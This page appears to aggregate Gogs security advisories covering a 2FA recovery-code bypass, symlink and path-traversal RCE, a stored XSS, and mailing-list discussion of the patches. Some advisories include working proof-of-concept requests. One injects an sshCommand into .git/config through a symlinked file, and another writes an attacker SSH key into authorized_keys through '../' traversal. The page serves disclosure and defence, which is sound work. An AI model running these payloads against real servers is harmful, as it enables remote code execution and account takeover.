Impact 2FA rendered ineffective for all users Realistic Exploitation Scenarios Public Gogs instances with 2FA enabled Developer or maintainer accounts Enterprise self-hosted Gogs servers Potential Impact This vulnerability critically undermines 2FA. Since recovery codes are not globally unique and lack user scoping, any attacker with victim credentials can use one of their own recovery codes to complete login as the victim — bypassing all 2FA protections. This opens the door to account hijacking, data exfiltration, and downstream supply chain compromise. Timeline August 2025: Discovered via GPT5 August 2025: Reproduced and confirmed via PoC and sanitizer Aug 6, 2025 - Sent to Gogs via https://github.com/gogs/gogs/security/advisories/new

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. OpenAI Security Research makes no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. [This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.] OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
OS Command Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.

Details Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206

PoC bash add a symlink file and push to repo. ln -s .git/config link git add link git commit -m 'add' && git push

Update file via API router http PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1 Content-Type: application/json Host: localhost:3000 Authorization: token {token}

{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}

Impact RCE

1 / 2
Source: GitHub
First published (updated )

On 2026-01-17 15:02:42, Collin Funk wrote: This just introduces TOCTOU races, no?

If someone can delete a portion of "opts.NewTreeName" and recreate an element as a symbolic link before "os.MkdirAll" is executed, they would be able to achieve the same thing as before the patch.

Surely Go has a way to use ONOFOLLOW, right? That would be the correct way to do it. I have not looked at the actual issue here, but in general even ONOFOLLOW is insufficient, because it only affects the trailing path component. To avoid symlinks in other components, you must carefully openat() each path component, one at a time, starting from the root.

First published (updated )

On 12/10/25 11:18 PM, Alan Coopersmith wrote: https://github.com/gogs/gogs offers a MIT-licensed self-hosted git service. they are seeing being actively exploited. FYI, this was reportedly fixed in https://github.com/gogs/gogs/pull/8082

-Chad

First published (updated )

Alan Coopersmith <alan.coopersmith () oracle com>, 2025-12-10 15:18: Gogs has a couple of notable forks: Gitea, Forgejo. Does anyone know if they are affected?

-- Jakub Wilk

Severity
8.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:X/U:X

Gogs contains a path traversal vulnerability affecting improper Symbolic link handling in the PutContents API that could allow for code execution.

1 / 2
Source: CISA
First published (updated )
Severity
6.3
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N

Summary

A stored XSS is present in Gogs which allows client-side Javascript code execution.

Details

Gogs Version: docker images REPOSITORY TAG IMAGE ID CREATED SIZE gogs/gogs latest fe92583bc4fe 10 hours ago 99.3MB

Application version: 0.14.0+dev

Local setup using: bash Pull image from Docker Hub. docker pull gogs/gogs

Create local directory for volume. sudo mkdir -p /var/gogs

Use docker run for the first time. docker run --name=gogs -p 10022:22 -p 10880:3000 -v /var/gogs:/data gogs/gogs

The vulnerability is caused by the usage of a vulnerable and outdated component: pdfjs-1.4.20 under public/plugins/. Read more about this vulnerability at codeanlabs - CVE-2024-4367.

PoC

1. Upload the Proof of Concept file hosted at https://codeanlabs.com/wp-content/uploads/2024/05/pocgeneralizedCVE-2024-4367.pdf in a repository. 2. Click on the file to be previewed.

!poc

Credits

Edoardo Ottavianelli

1 / 2
Source: GitHub
First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary Due to the insufficient patch for the CVE-2024-39931, it's still possible to delete files under the .git directory and achieve remote command execution.

Details In the patch for CVE-2024-39931, the following check is added: https://github.com/gogs/gogs/commit/77a4a945ae9a87f77e392e9066b560edb71b5de9

diff + // 🚨 SECURITY: Prevent uploading files into the ".git" directory + if isRepositoryGitPath(opts.TreePath) { + return errors.Errorf("bad tree path %q", opts.TreePath) + }

While the above code snippet checks if the specified path is a .git directory, there are no checks for symbolic links in the later steps. So, by creating a symbolic link that points to the .git directory, an attacker can still delete arbitrary files in the .git directory and achieve remote command execution.

Impact Unprivileged user accounts can execute arbitrary commands on the Gogs instance with the privileges of the account specified by RUNUSER in the configuration. It allows attackers to access and alter any users' code hosted on the same instance.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.

Patches

Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

1. Generate a Personal Access Tokens 2. Edit any file on the server with this

bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorizedkeys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }'

3. ssh connect to remote server

bash ssh -i temp git@localhost -p 10022

For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203